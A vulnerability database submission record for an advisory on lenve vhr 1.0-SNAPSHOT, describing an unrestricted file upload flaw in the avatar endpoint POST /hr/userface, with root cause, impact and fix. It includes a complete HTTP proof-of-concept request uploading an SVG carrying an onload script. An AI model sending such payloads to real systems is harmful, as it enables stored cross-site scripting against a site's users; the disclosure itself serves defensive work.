| 标题 | lenve vhr 1.0-SNAPSHOT Unrestricted Upload |
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| 描述 | vhr（微人事） — Unrestricted File Upload on POST /hr/userface (VHR-VULN-005)
Product: vhr（微人事） 1.0-SNAPSHOT
CWE: CWE-434
Classification: Unrestricted Upload
=== ROOT CAUSE ===
`FastDFSUtils.upload()` — no file type validation.
=== REPRODUCTION ===
Avatar upload accepts arbitrary extensions (e.g. SVG) without MIME/extension whitelist.
PoC:
POST /hr/userface HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
------BOUNDARY
Content-Disposition: form-data; name="id"
5
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="poc.svg"
Content-Type: image/svg+xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
------BOUNDARY--
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Stored XSS if uploaded content is served inline from FastDFS/CDN.
=== FIX ===
Whitelist image extensions; validate magic bytes; strip SVG scripts.
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| 来源 | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-005-unrestricted-upload.md |
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| 用户 | Anonymous User |
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| 提交 | 2026-07-16 13時51分 (2 月前) |
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| 管理 | 2026-09-12 10時24分 (2 months later) |
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| 状态 | 已接受 |
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| VulDB条目 | 403088 [lenve vhr 1.0-SNAPSHOT Avatar Upload /hr/userface FastDFSUtils.upload 文件 权限提升] |
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| 积分 | 20 |
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